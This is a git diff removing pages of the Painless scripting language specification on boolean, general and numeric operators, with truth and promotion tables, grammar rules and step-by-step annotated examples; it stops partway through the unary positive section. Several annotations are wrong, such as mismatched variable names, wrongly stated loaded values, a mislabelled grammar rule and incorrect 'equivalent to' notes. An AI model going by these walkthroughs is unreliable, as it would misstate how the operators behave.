-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|           | boolean | byte   | short  | char   | int    | long   | float  | double | Reference | def
-| boolean   | boolean | -      | -      | -      | -      | -      | -      | -      | -         | def
-| byte      | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| short     | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| char      | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| int       | -       | int    | int    | int    | int    | long   | float  | double | -         | def
-| long      | -       | long   | long   | long   | long   | long   | float  | double | -         | def
-| float     | -       | float  | float  | float  | float  | float  | float  | double | -         | def
-| double    | -       | double | double | double | double | double | double | double | -         | def
-| Reference | -       | -      | -      | -      | -      | -      | -      | -      | Object    | def
-| def       | def     | def    | def    | def    | def    | def    | def    | def    | def       | def
-|====
-
-*Examples*
-
-* Identity not equals with reference type values.
-+
-[source,Painless]
-----
-List a = new ArrayList(); <1>
-List b = new ArrayList(); <2>
-List c = a;               <3>
-boolean c = a !== b;      <4>
-c = a !== c;              <5>
-----
-+
-<1> declare `List a`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `a`
-<2> declare `List b`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `b`
-<3> load from `a` -> `List reference`;
-    store `List reference` to `c`
-<4> declare `boolean c`;
-    load from `a` -> `List reference @0`;
-    load from `b` -> `List reference @1`;
-    identity not equals `List reference @0` and `List reference @1`
-            -> `boolean true`
-    store `boolean true` to `c`
-<5> load from `a` -> `List reference @0`;
-    load from `c` -> `List reference @1`;
-    identity not equals `List reference @0` and `List reference @1`
-            -> `boolean false`
-    store `boolean false` to `c`
-    (note `List reference @0` and `List reference @1` refer to the same
-            instance)
-+
-* Identity not equals with `null`.
-+
-[source,Painless]
-----
-Object a = null;        <1>
-Object b = null;        <2>
-boolean c = a !== null; <3>
-c = a !== b;            <4>
-b = new Object();       <5>
-c = a !== b;            <6>
-----
-+
-<1> declare `Object a`;
-    store `null` to `a`
-<2> declare `Object b`;
-    store `null` to `b`
-<3> declare `boolean c`;
-    load from `a` -> `null @0`;
-    identity not equals `null @0` and `null @1` -> `boolean false`;
-    store `boolean false` to `c`
-<4> load from `a` -> `null @0`;
-    load from `b` -> `null @1`;
-    identity not equals `null @0` and `null @1` -> `boolean false`;
-    store `boolean false` to `c`
-<5> allocate `Object` instance -> `Object reference`;
-    store `Object reference` to `b`
-<6> load from `a` -> `Object reference`;
-    load from `b` -> `null`;
-    identity not equals `Object reference` and `null` -> `boolean true`;
-    store `boolean true` to `c`
-+
-* Identity not equals with the `def` type.
-+
-[source, Painless]
-----
-def a = new HashMap();   <1>
-def b = new ArrayList(); <2>
-boolean c = a !== b;     <3>
-b = a;                   <4>
-c = a !== b;             <5>
-----
-+
-<1> declare `def d`;
-    allocate `HashMap` instance -> `HashMap reference`;
-    implicit cast `HashMap reference` to `def` -> `def`
-    store `def` to `d`
-<2> declare `def e`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `def` -> `def`
-    store `def` to `d`
-<3> declare `boolean c`;
-    load from `a` -> `def`;
-    implicit cast `def` to `HashMap reference` -> `HashMap reference`;
-    load from `b` -> `def`;
-    implicit cast `def` to `ArrayList reference` -> `ArrayList reference`;
-    identity not equals `HashMap reference` and `ArrayList reference`
-            -> `boolean true`;
-    store `boolean true` to `c`
-<4> load from `a` -> `def`;
-    store `def` to `b`
-<5> load from `a` -> `def`;
-    implicit cast `def` to `HashMap reference @0` -> `HashMap reference @0`;
-    load from `b` -> `def`;
-    implicit cast `def` to `HashMap reference @1` -> `HashMap reference @1`;
-    identity not equals `HashMap reference @0` and `HashMap reference @1`
-            -> `boolean false`;
-    store `boolean false` to `b`;
-    (note `HashMap reference @0` and `HashMap reference @1` refer to the same
-            instance)
-
-[[boolean-xor-operator]]
-==== Boolean Xor
-
-Use the `boolean xor operator '^'` to XOR together two `boolean` type values
-where if one `boolean` type value is `true` and the other is `false` the
-resultant `boolean` type value is `true` and `false` otherwise.
-
-*Errors*
-
-* If either evaluated value is a value other than a `boolean` type value or
-  a value that is castable to a `boolean` type value.
-
-*Truth*
-
-[cols="^1,^1,^1"]
-|====
-|       | true  | false
-| true  | false | true
-| false | true  | false
-|====
-
-*Grammar*
-
-[source,ANTLR4]
-----
-boolean_xor: expression '^' expression;
-----
-
-*Examples*
-
-* Boolean xor with the `boolean` type.
-+
-[source,Painless]
-----
-boolean x = false;    <1>
-boolean y = x ^ true; <2>
-y = y ^ x;            <3>
-----
-+
-<1> declare `boolean x`;
-    store `boolean false` to `x`
-<2> declare `boolean y`;
-    load from `x` -> `boolean false`
-    boolean xor `boolean false` and `boolean true` -> `boolean true`;
-    store `boolean true` to `y`
-<3> load from `y` -> `boolean true @0`;
-    load from `x` -> `boolean true @1`;
-    boolean xor `boolean true @0` and `boolean true @1` -> `boolean false`;
-    store `boolean false` to `y`
-+
-* Boolean xor with the `def` type.
-+
-[source,Painless]
-----
-def x = false;    <1>
-def y = x ^ true; <2>
-y = y ^ x;        <3>
-----
-+
-<1> declare `def x`;
-    implicit cast `boolean false` to `def` -> `def`;
-    store `def` to `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `boolean false` -> `boolean false`;
-    boolean xor `boolean false` and `boolean true` -> `boolean true`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `y`
-<3> load from `y` -> `def`;
-    implicit cast `def` to `boolean true @0` -> `boolean true @0`;
-    load from `x` -> `def`;
-    implicit cast `def` to `boolean true @1` -> `boolean true @1`;
-    boolean xor `boolean true @0` and `boolean true @1` -> `boolean false`;
-    implicit cast `boolean false` -> `def`;
-    store `def` to `y`
-
-[[boolean-and-operator]]
-==== Boolean And
-
-Use the `boolean and operator '&&'` to AND together two `boolean` type values
-where if both `boolean` type values are `true` the resultant `boolean` type
-value is `true` and `false` otherwise.
-
-*Errors*
-
-* If either evaluated value is a value other than a `boolean` type value or
-  a value that is castable to a `boolean` type value.
-
-*Truth*
-
-[cols="^1,^1,^1"]
-|====
-|       | true  | false
-| true  | true  | false
-| false | false | false
-|====
-
-*Grammar*
-
-[source,ANTLR4]
-----
-boolean_and: expression '&&' expression;
-----
-
-*Examples*
-
-* Boolean and with the `boolean` type.
-+
-[source,Painless]
-----
-boolean x = true;      <1>
-boolean y = x && true; <2>
-x = false;             <3>
-y = y && x;            <4>
-----
-+
-<1> declare `boolean x`;
-    store `boolean true` to `x`
-<2> declare `boolean y`;
-    load from `x` -> `boolean true @0`;
-    boolean and `boolean true @0` and `boolean true @1` -> `boolean true`;
-    store `boolean true` to `y`
-<3> store `boolean false` to `x`
-<4> load from `y` -> `boolean true`;
-    load from `x` -> `boolean false`;
-    boolean and `boolean true` and `boolean false` -> `boolean false`;
-    store `boolean false` to `y`
-+
-* Boolean and with the `def` type.
-+
-[source,Painless]
-----
-def x = true;      <1>
-def y = x && true; <2>
-x = false;         <3>
-y = y && x;        <4>
-----
-+
-<1> declare `def x`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `boolean true @0` -> `boolean true @0`;
-    boolean and `boolean true @0` and `boolean true @1` -> `boolean true`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `y`
-<3> implicit cast `boolean false` to `def` -> `def`;
-    store `def` to `x`;
-<4> load from `y` -> `def`;
-    implicit cast `def` to `boolean true` -> `boolean true`;
-    load from `x` -> `def`;
-    implicit cast `def` to `boolean false` -> `boolean false`;
-    boolean and `boolean true` and `boolean false` -> `boolean false`;
-    implicit cast `boolean false` -> `def`;
-    store `def` to `y`
-
-[[boolean-or-operator]]
-==== Boolean Or
-
-Use the `boolean or operator '||'` to OR together two `boolean` type values
-where if either one of the `boolean` type values is `true` the resultant
-`boolean` type value is `true` and `false` otherwise.
-
-*Errors*
-
-* If either evaluated value is a value other than a `boolean` type value or
-  a value that is castable to a `boolean` type value.
-
-*Truth*
-
-[cols="^1,^1,^1"]
-|====
-|       | true | false
-| true  | true | true
-| false | true | false
-|====
-
-*Grammar:*
-[source,ANTLR4]
-----
-boolean_and: expression '||' expression;
-----
-
-*Examples*
-
-* Boolean or with the `boolean` type.
-+
-[source,Painless]
-----
-boolean x = false;     <1>
-boolean y = x || true; <2>
-y = false;             <3>
-y = y || x;            <4>
-----
-+
-<1> declare `boolean x`;
-    store `boolean false` to `x`
-<2> declare `boolean y`;
-    load from `x` -> `boolean false`;
-    boolean or `boolean false` and `boolean true` -> `boolean true`;
-    store `boolean true` to `y`
-<3> store `boolean false` to `y`
-<4> load from `y` -> `boolean false @0`;
-    load from `x` -> `boolean false @1`;
-    boolean or `boolean false @0` and `boolean false @1` -> `boolean false`;
-    store `boolean false` to `y`
-+
-* Boolean or with the `def` type.
-+
-[source,Painless]
-----
-def x = false;     <1>
-def y = x || true; <2>
-y = false;         <3>
-y = y || x;        <4>
-----
-+
-<1> declare `def x`;
-    implicit cast `boolean false` to `def` -> `def`;
-    store `def` to `x`
-<2> declare `def y`;
-    load from `x` -> `def`;
-    implicit cast `def` to `boolean false` -> `boolean true`;
-    boolean or `boolean false` and `boolean true` -> `boolean true`;
-    implicit cast `boolean true` to `def` -> `def`;
-    store `def` to `y`
-<3> implicit cast `boolean false` to `def` -> `def`;
-    store `def` to `y`;
-<4> load from `y` -> `def`;
-    implicit cast `def` to `boolean false @0` -> `boolean false @0`;
-    load from `x` -> `def`;
-    implicit cast `def` to `boolean false @1` -> `boolean false @1`;
-    boolean or `boolean false @0` and `boolean false @1` -> `boolean false`;
-    implicit cast `boolean false` -> `def`;
-    store `def` to `y`
diff --git a/docs/painless/painless-lang-spec/painless-operators-general.asciidoc b/docs/painless/painless-lang-spec/painless-operators-general.asciidoc
deleted file mode 100644
index 6c17e36b3fc..00000000000
--- a/docs/painless/painless-lang-spec/painless-operators-general.asciidoc
+++ /dev/null
@@ -1,432 +0,0 @@
-[[painless-operators-general]]
-=== Operators: General
-
-[[precedence-operator]]
-==== Precedence
-
-Use the `precedence operator '()'` to guarantee the order of evaluation for an
-expression. An expression encapsulated by the precedence operator (enclosed in
-parentheses) overrides existing precedence relationships between operators and
-is evaluated prior to other expressions in inward-to-outward order.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-precedence: '(' expression ')';
-----
-
-*Examples*
-
-* Precedence with numeric operators.
-+
-[source,Painless]
-----
-int x = (5+4)*6;   <1>
-int y = 12/(x-50); <2>
-----
-+
-<1> declare `int x`;
-    add `int 5` and `int 4` -> `int 9`;
-    multiply `int 9` and `int 6` -> `int 54`;
-    store `int 54` to `x`;
-    (note the add is evaluated before the multiply due to the precedence
-            operator)
-<2> declare `int y`;
-    load from `x` -> `int 54`;
-    subtract `int 50` from `int 54` -> `int 4`;
-    divide `int 12` by `int 4` -> `int 3`;
-    store `int 3` to `y`;
-    (note the subtract is evaluated before the divide due to the precedence
-            operator)
-
-[[function-call-operator]]
-==== Function Call
-
-Use the `function call operator ()` to call an existing function. A
-<<painless-functions, function call>> is defined within a script.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-function_call: ID '(' ( expression (',' expression)* )? ')'';
-----
-
-*Examples*
-
-* A function call.
-+
-[source,Painless]
-----
-int add(int x, int y) { <1>
-      return x + y;
-  }
-
-int z = add(1, 2); <2>
-----
-+
-<1> define function `add` that returns `int` and has parameters (`int x`,
-            `int y`)
-<2> declare `int z`;
-    call `add` with arguments (`int 1`, `int 2`) -> `int 3`;
-    store `int 3` to `z`
-
-[[cast-operator]]
-==== Cast
-
-An explicit cast converts the value of an original type to the equivalent value
-of a target type forcefully as an operation.  Use the `cast operator '()'` to
-specify an explicit cast. Refer to <<painless-casting, casting>> for more
-information.
-
-[[conditional-operator]]
-==== Conditional
-
-A conditional consists of three expressions. The first expression is evaluated
-with an expected boolean result type. If the first expression evaluates to true
-then the second expression will be evaluated.  If the first expression evaluates
-to false then the third expression will be evaluated. The second and third
-expressions will be <<promotion, promoted>> if the evaluated values are not the
-same type. Use the `conditional operator '? :'` as a shortcut to avoid the need
-for a full if/else branch in certain expressions.
-
-*Errors*
-
-* If the first expression does not evaluate to a boolean type value.
-* If the values for the second and third expressions cannot be promoted.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-conditional: expression '?' expression ':' expression;
-----
-
-*Promotion*
-
-[cols="<1,^1,^1,^1,^1,^1,^1,^1,^1,^1"]
-|====
-|           | byte   | short  | char   | int    | long   | float  | double | Reference | def
-| byte      | int    | int    | int    | int    | long   | float  | double | -         | def
-| short     | int    | int    | int    | int    | long   | float  | double | -         | def
-| char      | int    | int    | int    | int    | long   | float  | double | -         | def
-| int       | int    | int    | int    | int    | long   | float  | double | -         | def
-| long      | long   | long   | long   | long   | long   | float  | double | -         | def
-| float     | float  | float  | float  | float  | float  | float  | double | -         | def
-| double    | double | double | double | double | double | double | double | -         | def
-| Reference | -      | -      | -      | -      | -      | -      | -      | Object @  | def
-| def       | def    | def    | def    | def    | def    | def    | def    | def       | def
-|====
-
-@ If the two reference type values are the same then this promotion will not
-occur.
-
-*Examples*
-
-* Evaluation of conditionals.
-+
-[source,Painless]
-----
-boolean b = true;        <1>
-int x = b ? 1 : 2;       <2>
-List y = x > 1 ? new ArrayList() : null; <3>
-def z = x < 2 ? x : 2.0; <4>
-----
-+
-<1> declare `boolean b`;
-    store `boolean true` to `b`
-<2> declare `int x`;
-    load from `b` -> `boolean true`
-    evaluate 1st expression: `int 1` -> `int 1`;
-    store `int 1` to `x`
-<3> declare `List y`;
-    load from `x` -> `int 1`;
-    `int 1` greater than `int 1` -> `boolean false`;
-    evaluate 2nd expression: `null` -> `null`;
-    store `null` to `y`;
-<4> declare `def z`;
-    load from `x` -> `int 1`;
-    `int 1` less than `int 2` -> `boolean true`;
-    evaluate 1st expression: load from `x` -> `int 1`;
-    promote `int 1` and `double 2.0`: result `double`;
-    implicit cast `int 1` to `double 1.0` -> `double 1.0`;
-    implicit cast `double 1.0` to `def` -> `def`;
-    store `def` to `z`;
-
-[[assignment-operator]]
-==== Assignment
-
-Use the `assignment operator '='` to store a value in a variable or reference
-type member field for use in subsequent operations. Any operation that produces
-a value can be assigned to any variable/field as long as the
-<<painless-types, types>> are the same or the resultant type can be
-<<painless-casting, implicitly cast>> to the variable/field type.
-
-See <<variable-assignment, variable assignment>> for examples using variables.
-
-*Errors*
-
-* If the type of value is unable to match the type of variable or field.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-assignment: field '=' expression
-----
-
-*Examples*
-
-The examples use the following reference type definition:
-
-[source,Painless]
-----
-name:
-  Example
-
-non-static member fields:
-  * int x
-  * def y
-  * List z
-----
-
-* Field assignments of different type values.
-+
-[source,Painless]
-----
-Example example = new Example(); <1>
-example.x = 1;                   <2>
-example.y = 2.0;                 <3>
-example.z = new ArrayList();     <4>
-----
-+
-<1> declare `Example example`;
-    allocate `Example` instance -> `Example reference`;
-    store `Example reference` to `example`
-<2> load from `example` -> `Example reference`;
-    store `int 1` to `x` of `Example reference`
-<3> load from `example` -> `Example reference`;
-    implicit cast `double 2.0` to `def` -> `def`;
-    store `def` to `y` of `Example reference`
-<4> load from `example` -> `Example reference`;
-    allocate `ArrayList` instance -> `ArrayList reference`;
-    implicit cast `ArrayList reference` to `List reference` -> `List reference`;
-    store `List reference` to `z` of `Example reference`
-+
-* A field assignment from a field access.
-+
-[source,Painless]
-----
-Example example = new Example(); <1>
-example.x = 1;                   <2>
-example.y = example.x;           <3>
-----
-+
-<1> declare `Example example`;
-    allocate `Example` instance -> `Example reference`;
-    store `Example reference` to `example`
-<2> load from `example` -> `Example reference`;
-    store `int 1` to `x` of `Example reference`
-<3> load from `example` -> `Example reference @0`;
-    load from `example` -> `Example reference @1`;
-    load from `x` of `Example reference @1` -> `int 1`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `y` of `Example reference @0`;
-    (note `Example reference @0` and `Example reference @1` are the same)
-
-[[compound-assignment-operator]]
-==== Compound Assignment
-
-Use the `compound assignment operator '$='` as a shortcut for an assignment
-where a binary operation would occur between the variable/field as the
-left-hand side expression and a separate right-hand side expression.
-
-A compound assignment is equivalent to the expression below where V is the
-variable/field and T is the type of variable/member.
-
-[source,Painless]
-----
-V = (T)(V op expression);
-----
-
-*Operators*
-
-The table below shows the available operators for use in a compound assignment.
-Each operator follows the casting/promotion rules according to their regular
-definition.  For numeric operations there is an extra implicit cast when
-necessary to return the promoted numeric type value to the original numeric type
-value of the variable/field and can result in data loss.
-
-|====
-|Operator|Compound Symbol
-|Multiplication|*=
-|Division|/=
-|Remainder|%=
-|Addition|+=
-|Subtraction|-=
-|Left Shift|+++<<=+++
-|Right Shift|>>=
-|Unsigned Right Shift|>>>=
-|Bitwise And|&=
-|Boolean And|&=
-|Bitwise Xor|^=
-|Boolean Xor|^=
-|Bitwise Or|\|=
-|Boolean Or|\|=
-|String Concatenation|+=
-|====
-
-*Errors*
-
-* If the type of value is unable to match the type of variable or field.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-compound_assignment: ( ID | field ) '$=' expression;
-----
-
-Note the use of the `$=` represents the use of any of the possible binary
-operators.
-
-*Examples*
-
-* Compound assignment for each numeric operator.
-+
-[source,Painless]
-----
-int i = 10; <1>
-i *= 2;     <2>
-i /= 5;     <3>
-i %= 3;     <4>
-i += 5;     <5>
-i -= 5;     <6>
-i <<= 2;    <7>
-i >>= 1;    <8>
-i >>>= 1;   <9>
-i &= 15;    <10>
-i ^= 12;    <11>
-i |= 2;     <12>
-----
-+
-<1> declare `int i`;
-    store `int 10` to `i`
-<2> load from `i` -> `int 10`;
-    multiply `int 10` and `int 2` -> `int 20`;
-    store `int 20` to `i`;
-    (note this is equivalent to `i = i*2`)
-<3> load from `i` -> `int 20`;
-    divide `int 20` by `int 5` -> `int 4`;
-    store `int 4` to `i`;
-    (note this is equivalent to `i = i/5`)
-<4> load from `i` -> `int 4`;
-    remainder `int 4` by `int 3` -> `int 1`;
-    store `int 1` to `i`;
-    (note this is equivalent to `i = i%3`)
-<5> load from `i` -> `int 1`;
-    add `int 1` and `int 5` -> `int 6`;
-    store `int 6` to `i`;
-    (note this is equivalent to `i = i+5`)
-<6> load from `i` -> `int 6`;
-    subtract `int 5` from `int 6` -> `int 1`;
-    store `int 1` to `i`;
-    (note this is equivalent to `i = i-5`)
-<7> load from `i` -> `int 1`;
-    left shift `int 1` by `int 2` -> `int 4`;
-    store `int 4` to `i`;
-    (note this is equivalent to `i = i<<2`)
-<8> load from `i` -> `int 4`;
-    right shift `int 4` by `int 1` -> `int 2`;
-    store `int 2` to `i`;
-    (note this is equivalent to `i = i>>1`)
-<9> load from `i` -> `int 2`;
-    unsigned right shift `int 2` by `int 1` -> `int 1`;
-    store `int 1` to `i`;
-    (note this is equivalent to `i = i>>>1`)
-<10> load from `i` -> `int 1`;
-     bitwise and `int 1` and `int 15` -> `int 1`;
-     store `int 1` to `i`;
-     (note this is equivalent to `i = i&2`)
-<11> load from `i` -> `int 1`;
-     bitwise xor `int 1` and `int 12` -> `int 13`;
-     store `int 13` to `i`;
-     (note this is equivalent to `i = i^2`)
-<12> load from `i` -> `int 13`;
-     bitwise or `int 13` and `int 2` -> `int 15`;
-     store `int 15` to `i`;
-     (note this is equivalent to `i = i|2`)
-+
-* Compound assignment for each boolean operator.
-+
-[source,Painless]
-----
-boolean b = true; <1>
-b &= false;       <2>
-b ^= false;       <3>
-b |= true;        <4>
-----
-+
-<1> declare `boolean b`;
-    store `boolean true` in `b`;
-<2> load from `b` -> `boolean true`;
-    boolean and `boolean true` and `boolean false` -> `boolean false`;
-    store `boolean false` to `b`;
-    (note this is equivalent to `b = b && false`)
-<3> load from `b` -> `boolean false`;
-    boolean xor `boolean false` and `boolean false` -> `boolean false`;
-    store `boolean false` to `b`;
-    (note this is equivalent to `b = b ^ false`)
-<4> load from `b` -> `boolean true`;
-    boolean or `boolean false` and `boolean true` -> `boolean true`;
-    store `boolean true` to `b`;
-    (note this is equivalent to `b = b || true`)
-+
-* A compound assignment with the string concatenation operator.
-+
-[source,Painless]
-----
-String s = 'compound'; <1>
-s += ' assignment';    <2>
-----
-<1> declare `String s`;
-    store `String 'compound'` to `s`;
-<2> load from `s` -> `String 'compound'`;
-    string concat `String 'compound'` and `String ' assignment''`
-            -> `String 'compound assignment'`;
-    store `String 'compound assignment'` to `s`;
-    (note this is equivalent to `s = s + ' assignment'`)
-+
-* A compound assignment with the `def` type.
-+
-[source,Painless]
-----
-def x = 1; <1>
-x += 2;    <2>
-----
-<1> declare `def x`;
-    implicit cast `int 1` to `def`;
-    store `def` to `x`;
-<2> load from `x` -> `def`;
-    implicit cast `def` to `int 1` -> `int 1`;
-    add `int 1` and `int 2` -> `int 3`;
-    implicit cast `int 3` to `def` -> `def`;
-    store `def` to `x`;
-    (note this is equivalent to `x = x+2`)
-+
-* A compound assignment with an extra implicit cast.
-+
-[source,Painless]
-----
-byte b = 1; <1>
-b += 2;     <2>
-----
-<1> declare `byte b`;
-    store `byte 1` to `x`;
-<2> load from `x` -> `byte 1`;
-    implicit cast `byte 1 to `int 1` -> `int 1`;
-    add `int 1` and `int 2` -> `int 3`;
-    implicit cast `int 3` to `byte 3` -> `byte 3`;
-    store `byte 3` to `b`;
-    (note this is equivalent to `b = b+2`)
diff --git a/docs/painless/painless-lang-spec/painless-operators-numeric.asciidoc b/docs/painless/painless-lang-spec/painless-operators-numeric.asciidoc
deleted file mode 100644
index 1b08d9c3361..00000000000
--- a/docs/painless/painless-lang-spec/painless-operators-numeric.asciidoc
+++ /dev/null
@@ -1,1339 +0,0 @@
-[[painless-operators-numeric]]
-=== Operators: Numeric
-
-[[post-increment-operator]]
-==== Post Increment
-
-Use the `post increment operator '++'` to INCREASE the value of a numeric type
-variable/field by `1`. An extra implicit cast is necessary to return the
-promoted numeric type value to the original numeric type value of the
-variable/field for the following types: `byte`, `short`, and `char`. If a
-variable/field is read as part of an expression the value is loaded prior to the
-increment.
-
-*Errors*
-
-* If the variable/field is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-post_increment: ( variable | field ) '++';
-----
-
-*Promotion*
-
-[options="header",cols="<1,<1,<1"]
-|====
-| original | promoted | implicit
-| byte     | int      | byte
-| short    | int      | short
-| char     | int      | char
-| int      | int      |
-| long     | long     |
-| float    | float    |
-| double   | double   |
-| def      | def      |
-|====
-
-*Examples*
-
-* Post increment with different numeric types.
-+
-[source,Painless]
-----
-short i = 0; <1>
-i++;         <2>
-long j = 1;  <3>
-long k;      <4>
-k = j++;     <5>
-----
-+
-<1> declare `short i`;
-    store `short 0` to `i`
-<2> load from `i` -> `short 0`;
-    promote `short 0`: result `int`;
-    add `int 0` and `int 1` -> `int 1`;
-    implicit cast `int 1` to `short 1`;
-    store `short 1` to `i`
-<3> declare `long j`;
-    implicit cast `int 1` to `long 1` -> `long 1`;
-    store `long 1` to `j`
-<4> declare `long k`;
-    store default `long 0` to `k`
-<5> load from `j` -> `long 1`;
-    store `long 1` to `k`;
-    add `long 1` and `long 1` -> `long 2`;
-    store `long 2` to `j`
-+
-* Post increment with the `def` type.
-+
-[source,Painless]
-----
-def x = 1; <1>
-x++;       <2>
-----
-+
-<1> declare `def x`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `x`
-<2> load from `x` -> `def`;
-    implicit cast `def` to `int 1`;
-    add `int 1` and `int 1` -> `int 2`;
-    implicit cast `int 2` to `def`;
-    store `def` to `x`
-
-[[post-decrement-operator]]
-==== Post Decrement
-
-Use the `post decrement operator '--'` to DECREASE the value of a numeric type
-variable/field by `1`. An extra implicit cast is necessary to return the
-promoted numeric type value to the original numeric type value of the
-variable/field for the following types: `byte`, `short`, and `char`. If a
-variable/field is read as part of an expression the value is loaded prior to
-the decrement.
-
-*Errors*
-
-* If the variable/field is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-post_decrement: ( variable | field ) '--';
-----
-
-*Promotion*
-
-[options="header",cols="<1,<1,<1"]
-|====
-| original | promoted | implicit
-| byte     | int      | byte
-| short    | int      | short
-| char     | int      | char
-| int      | int      |
-| long     | long     |
-| float    | float    |
-| double   | double   |
-| def      | def      |
-|====
-
-*Examples*
-
-* Post decrement with different numeric types.
-+
-[source,Painless]
-----
-short i = 0; <1>
-i--;         <2>
-long j = 1;  <3>
-long k;      <4>
-k = j--;     <5>
-----
-+
-<1> declare `short i`;
-    store `short 0` to `i`
-<2> load from `i` -> `short 0`;
-    promote `short 0`: result `int`;
-    subtract `int 1` from `int 0` -> `int -1`;
-    implicit cast `int -1` to `short -1`;
-    store `short -1` to `i`
-<3> declare `long j`;
-    implicit cast `int 1` to `long 1` -> `long 1`;
-    store `long 1` to `j`
-<4> declare `long k`;
-    store default `long 0` to `k`
-<5> load from `j` -> `long 1`;
-    store `long 1` to `k`;
-    subtract `long 1` from `long 1` -> `long 0`;
-    store `long 0` to `j`
-+
-* Post decrement with the `def` type.
-+
-[source,Painless]
-----
-def x = 1; <1>
-x--;       <2>
-----
-+
-<1> declare `def x`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `x`
-<2> load from `x` -> `def`;
-    implicit cast `def` to `int 1`;
-    subtract `int 1` from `int 1` -> `int 0`;
-    implicit cast `int 0` to `def`;
-    store `def` to `x`
-
-[[pre-increment-operator]]
-==== Pre Increment
-
-Use the `pre increment operator '++'` to INCREASE the value of a numeric type
-variable/field by `1`. An extra implicit cast is necessary to return the
-promoted numeric type value to the original numeric type value of the
-variable/field for the following types: `byte`, `short`, and `char`. If a
-variable/field is read as part of an expression the value is loaded after the
-increment.
-
-*Errors*
-
-* If the variable/field is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-pre_increment: '++' ( variable | field );
-----
-
-*Promotion*
-
-[options="header",cols="<1,<1,<1"]
-|====
-| original | promoted | implicit
-| byte     | int      | byte
-| short    | int      | short
-| char     | int      | char
-| int      | int      |
-| long     | long     |
-| float    | float    |
-| double   | double   |
-| def      | def      |
-|====
-
-*Examples*
-
-* Pre increment with different numeric types.
-+
-[source,Painless]
-----
-short i = 0; <1>
-++i;         <2>
-long j = 1;  <3>
-long k;      <4>
-k = ++j;     <5>
-----
-+
-<1> declare `short i`;
-    store `short 0` to `i`
-<2> load from `i` -> `short 0`;
-    promote `short 0`: result `int`;
-    add `int 0` and `int 1` -> `int 1`;
-    implicit cast `int 1` to `short 1`;
-    store `short 1` to `i`
-<3> declare `long j`;
-    implicit cast `int 1` to `long 1` -> `long 1`;
-    store `long 1` to `j`
-<4> declare `long k`;
-    store default `long 0` to `k`
-<5> load from `j` -> `long 1`;
-    add `long 1` and `long 1` -> `long 2`;
-    store `long 2` to `j`;
-    store `long 2` to `k`
-+
-* Pre increment with the `def` type.
-+
-[source,Painless]
-----
-def x = 1; <1>
-++x;       <2>
-----
-+
-<1> declare `def x`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `x`
-<2> load from `x` -> `def`;
-    implicit cast `def` to `int 1`;
-    add `int 1` and `int 1` -> `int 2`;
-    implicit cast `int 2` to `def`;
-    store `def` to `x`
-
-[[pre-decrement-operator]]
-==== Pre Decrement
-
-Use the `pre decrement operator '--'` to DECREASE the value of a numeric type
-variable/field by `1`. An extra implicit cast is necessary to return the
-promoted numeric type value to the original numeric type value of the
-variable/field for the following types: `byte`, `short`, and `char`. If a
-variable/field is read as part of an expression the value is loaded after the
-decrement.
-
-*Errors*
-
-* If the variable/field is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-pre_decrement: '--' ( variable | field );
-----
-
-*Promotion*
-
-[options="header",cols="<1,<1,<1"]
-|====
-| original | promoted | implicit
-| byte     | int      | byte
-| short    | int      | short
-| char     | int      | char
-| int      | int      |
-| long     | long     |
-| float    | float    |
-| double   | double   |
-| def      | def      |
-|====
-
-*Examples*
-
-* Pre decrement with different numeric types.
-+
-[source,Painless]
-----
-short i = 0; <1>
---i;         <2>
-long j = 1;  <3>
-long k;      <4>
-k = --j;     <5>
-----
-+
-<1> declare `short i`;
-    store `short 0` to `i`
-<2> load from `i` -> `short 0`;
-    promote `short 0`: result `int`;
-    subtract `int 1` from `int 0` -> `int -1`;
-    implicit cast `int -1` to `short -1`;
-    store `short -1` to `i`
-<3> declare `long j`;
-    implicit cast `int 1` to `long 1` -> `long 1`;
-    store `long 1` to `j`
-<4> declare `long k`;
-    store default `long 0` to `k`
-<5> load from `j` -> `long 1`;
-    subtract `long 1` from `long 1` -> `long 0`;
-    store `long 0` to `j`
-    store `long 0` to `k`;
-+
-* Pre decrement operator with the `def` type.
-+
-[source,Painless]
-----
-def x = 1; <1>
---x;       <2>
-----
-+
-<1> declare `def x`;
-    implicit cast `int 1` to `def` -> `def`;
-    store `def` to `x`
-<2> load from `x` -> `def`;
-    implicit cast `def` to `int 1`;
-    subtract `int 1` from `int 1` -> `int 0`;
-    implicit cast `int 0` to `def`;
-    store `def` to `x`
-
-[[unary-positive-operator]]
-==== Unary Positive
-
-Use the `unary positive operator '+'` to the preserve the IDENTITY of a
-numeric type value.
-
-*Errors*
-
-* If the value is a non-numeric type.
-
-*Grammar*
-
-[source,ANTLR4]
-----
-unary_positive: '+' expression;
-----
-
-*Examples*
-
-* Unary positive with different numeric types.
-+
-[source,Painless]
-----
-int x = +1;  <1>
-long y = +x; <2>
-----
-+
-<1> declare `int x`;
-    identity `int 1` -> `int 1`;
-    store `int 1` to `x`
-<2> declare `long y`;
-    load from `x` -> `int 1`;
